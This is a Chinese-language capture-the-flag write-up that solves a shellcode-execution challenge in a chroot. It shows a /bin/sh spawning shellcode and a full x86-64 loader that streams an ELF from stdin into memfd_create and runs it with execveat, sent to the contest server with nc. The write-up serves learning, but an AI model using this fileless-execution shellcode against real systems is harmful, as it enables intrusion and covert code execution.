首先看看代码什么功能:
overflow.c
从 stdin 读了至多 4096 byte 的 payload 然后执行;checker.py
在chroot
里启动overflow
程序,然后不断检查 procfs 里的可执行文件镜像,如果和/hello
一样就输出 flag。
大方向非常明显,就是我们要让 overflow
程序 exec
成 /hello
。一开始我考虑的方向有:
- 把
hello
写到某个 tmpfs 里再exec
; - 通过某种方式脱出
chroot
。
这里先插个简单的 shellcode 拿 shell,看看环境里有什么可以利用的:
.globl main
.type main, @function
main:
pushw $0x0068
pushw $0x732f
pushw $0x6e69
pushw $0x622f
movq %rsp, %rdi # arg1: '/bin/sh'
xorq %rdx, %rdx # arg3: envp = NULL
pushq %rdx
pushq %rdi
movq %rsp, %rsi # arg2: argv = ['/bin/sh', NULL]
movq $59, %rax
syscall
xorq %rdi, %rdi
movq $60, %rax # sys_exit
syscall
好像确实没啥可落脚的地方:
ls /bin
cat ls sh
echo > /overflow
/bin/sh: 3: cannot create /overflow: Read-only file system
echo > /dev/xx
/bin/sh: 5: cannot create /dev/xx: Read-only file system
echo > /dev/fd/xx
/bin/sh: 6: cannot create /dev/fd/xxx: Read-only file system
后来研究了一会儿如何脱出 chroot
,unshare --mount
可能是可行的。但服务器 chroot 环境里什么可执行文件都没有,自己写汇编实现感觉又非常麻烦,所以就暂时放弃这个思路了。
搜索 run elf in memory
,得知可以用 memfd_create + fexecve
直接跑内存里的可执行文件。下面是个很简单的测试程序:
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
int main(int argc, char **argv) {
int mfd = memfd_create("", MFD_CLOEXEC);
int rfd = open("./hello", O_RDONLY);
char buf[8];
while (1) {
int nb = read(rfd, buf, 8);
if (nb == 0) break;
write(mfd, buf, nb);
}
const char * const new_argv[] = {"hello", NULL};
const char * const new_envp[] = {NULL};
int ret = fexecve(mfd, new_argv, new_envp);
return ret;
}
本地测试一下,确实是可行的:
SHELL1 $ gcc memfd_test.c && ./a.out
SHELL2 $ ls -l /proc/$(pidof hello)/exe
lrwxrwxrwx 1 cuihao cuihao 0 Oct 25 17:47 /proc/67371/exe -> '/memfd: (deleted)'
SHELL2 $ diff /proc/$(pidof hello)/exe hello
接下来构造 shellcode payload。注意到 hello
可执行文件有 16744 byte,而 overflow
最多读 4096 byte 肯定是不能直接塞 payload 里的。所以需要先写一段代码从 stdin 读可执行文件到 memfd。
我一开始的做法是,把 shellcode payload 补零填充到 4096 byte,后面再接上可执行文件。我以为 overflow
的 read
会读完 4096 byte 的 shellcode,然后 shellcode 读到的就是可执行文件。本地测试时这样的确没有问题,但扔到服务器就是不行。后来加了一些 print
(汇编里 print debug 也很麻烦)才发现 read
一次并不能读满 4096 byte(可能是网络传输的原因),所以 shellcode 里会读到一些填充的0。
解决方法是在 shellcode 里加一个循环,丢掉一开始的多出的 0。最后的 shellcode 如下:
.globl main
.type main, @function
main:
pushw $0x0000
movq %rsp, %rdi # arg1: name = ""
movq $1, %rsi # arg2: flags
movq $319, %rax # sys_memfd_create
syscall
movq %rax, %r15 # r15: memfd
xorw %ax, %ax
pushw %ax # input buffer (2B, but only 1B is used)
leaq 0x40(%rip), %r12 # r12 to break
leaq (%rip), %r13 # r13 to loop1 body
# loop1 (skip zero bytes)
movq %rsp, %rsi # arg2: buffer
xorq %rdi, %rdi # arg1: fd = stdin
movq $1, %rdx # arg3: count = 1
movq $0, %rax # sys_read
syscall
movw (%rsp), %cx
testw %cx, %cx
cmovnzq %r12, %r13 # if buffer[0] == 0
jmp *%r13 # break
nop; nop; nop; nop; nop; nop; nop; nop; nop; nop;
nop; nop; nop; nop; nop; nop; nop; nop; nop; nop;
nop; nop; nop; nop; nop; nop; nop; nop; nop; nop;
movq $16744, %r10 # r10: total size to write
leaq 0x40(%rip), %r12 # r12 to break
leaq (%rip), %r13 # r13 to loop2 body
# loop2 (stdin -> memfd)
movq %r15, %rdi # arg1: memfd
movq %rax, %rdx # arg3: count
movq $1, %rax # sys_write (arg2: buffer, unchanged)
syscall
subq %rax, %r10 # update size to write
xorq %rdi, %rdi # arg1: fd = stdin = 0
movq $1, %rdx # arg3: count = 1
movq $0, %rax # sys_read (arg2: buffer, unchanged)
syscall
testq %r10, %r10
cmovzq %r12, %r13 # if r10 == 0 (all bytes are written)
jmp *%r13 # break
nop; nop; nop; nop; nop; nop; nop; nop; nop; nop;
nop; nop; nop; nop; nop; nop; nop; nop; nop; nop;
popw %ax
movq %rsp, %rsi # arg2: filename = ""
pushw $0x5555
movq %rsp, %rax
pushq $0x0000
pushq %rax
leaq (%rsp), %rdx # arg3: argv = ['\x55\x55', NULL]
leaq 8(%rsp), %r10 # arg4: envp = [NULL]
movq %r15, %rdi # arg1: dfd
movq $0x1000, %r8 # arg5: flags = AT_EMPTY_PATH
movq $322, %rax # sys_execveat
syscall
这里条件 jmp 的实现非常扭曲。因为我当时以为 label 不是 position independent 的,不能在 shellcode 用。事实上包括 jmp
在内的跳转指令会用相对地址寻址,所以直接用 label 没有问题。
下面把 shellcode 扔到服务器上就能拿到 flag 了:
$ gcc loader.s -o loader
$ objdump --disassemble=main loader
......
0000000000001119 <main>:
1119: 66 6a 00 pushw $0x0
......
1208: 0f 05 syscall
120a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)
$ dd if=loader ibs=1 skip=$((0x1119)) count=$((0x120a-0x1119)) of=loader.shellcode
$ truncate -s 4096 loader.shellcode
$ (printf "$FLAG\n"; sleep 5; cat loader.shellcode; cat hello; echo; cat) | nc 202.38.93.111 10106
Please input your token: Starting challenge...
Checking...
hello world
Checking...
flag{......}